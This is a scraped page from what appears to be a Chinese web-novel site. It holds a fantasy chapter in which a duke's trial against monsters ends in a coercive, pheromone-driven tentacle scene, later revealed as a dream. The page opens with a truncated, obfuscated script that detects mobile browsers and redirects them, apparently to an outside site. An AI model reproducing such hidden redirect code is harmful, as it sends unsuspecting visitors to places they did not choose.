l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810612|158596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稹公爵已经迫不及待对上这头不知死活的怪物,杀了它简直是对它的恩赐,他要把它训化成最听话的奴隶,永远匍匐在他脚下。 画面一转,来到成人礼当天。宫殿内,主举起权杖,穹顶缓缓落下一个灰霾金属圆柱。稹公爵目光炙热,他需要打败三头怪物,才能获得契武的机会。而他胜券在握。 众人来到宫殿外,底下是悬空的万米阶,翌王姐姐抬手,阶梯往两边伸长,又转向上空,形成一个鸟巢般的大容器,众族人飞上巢延等待观战。而在这大容器底下有一个实时倒影,供下阶子臣观看。 稹公爵踏进大容器,屏障封锁。一滩黑乎粘稠的液体趴在容壁上,逐渐改变颜色与容壁融为一体。 稹公爵获得的第一种能力,意念控制。他的意念既能化作一种实质的波控制物体,也能无形影响生命体的中枢。 中枢影响让那滩粘稠液体失控显出位置,这就好办了,有中枢说明可以驯化,立即用实质波逮住,瞬间遭到粘稠液体频振反抗。再次扰乱它的中枢,粘稠□□停止反抗,从容壁掉落,缩成一团,第一关容易过了。 第二关,空中出现一个黑洞,无数毛絮组成的触手从洞口探出,先是试探了一番,又缩了回去,而后,一个毛球掉落地面,没有动静。 稹公爵的实质波不断扩散,在空中触碰许多难以看见的东西,将东西聚拢,是一些细微的毛絮末,果断送回给毛球。 毛球颤了颤,发出细碎的声响,像是许多张嘴在商量,听到声响后他的脑子浑了一瞬,就是这瞬间,毛球像烟花炸开,朝着他的方向迅速疯长蔓延。 正好试试他的第二种能力,撕裂空间。 就在毛絮即将触到他的脚尖,他抬手下压,自己掉进了另外一个空间,晃眼再出现,自己出现在毛絮群上端。 稹公爵没有急着攻击毛絮,停在空中观察。细碎声响在扑空的瞬间停下,那只险些抓到他的毛絮触手拍拍地面,又左右探看。细碎声响又来了,但这次他的中枢没有受到影响,这次的声响似乎实在讨论他到底去哪儿了。 忽然想到个好玩的,中枢控制一半毛絮,操纵它们攻击另一半,另外一半猝不及防,断尾求生,而后就看到两团毛球在追逐。 控制一半毛絮张开大网将另一半逮住,经过一番战斗,另一半没受控的毛絮因为头脑简单被吃掉了。 前两关没有难度,速战速决。来到稹公爵期待已久的第三关。 凭空出现一个黑洞,男人掉了出来。 稹公爵心里燃起一团兴奋的火种,比起使用能力,他更喜欢格斗。这个男人像是从原始文明而来,兽性蓬勃,强壮凶悍。 男人没有立即动,坐在地上,张开腿,展示雄风。 稹公爵心想,这怪物难道是在交/配期? 就在这时,男人开口了,生涩说着特共语言,“你的气味,想要。” 稹公爵猛然一惊,特共族人成年之际,孕育囊口张开,传递出特殊的信息素,与特共族人契合越高,越容易被信息素迷住。 那可真是一举两得。 忽然闻到一种奇异的味道,令他倍感舒适,莫非,这是男人的信息素。 就在他分神的刹那,脚踝被两根触手缠住,他想挣脱,发现身体无法动弹,越来越多的触手缠上他。 转用实质波攻向男人,男人速度超乎他的预料,迎着实质波瞬间来的他面前,被击穿的胸口快速愈合,与此同时触手将二人密不透风裹了起来。 稹公爵试图控制男人中枢,但他此时此刻的意念薄弱无力,身体被触手抬起与男人平行对视,男人的眼睛里是不加掩饰的欲望。 双腿被分开坐在男人身上,几根细小的触手在他身上轻轻磨拭。 他想愤怒,但是高度信息素的契合令他不能自控…… 梦中惊醒,许陆风不敢相信,在那样万众瞩目的地方,不亚于现场直播。 陈金池真的一次又一次刷新他的下限。 转头看向睡在旁边的陈金池,对准了腰子踹过去!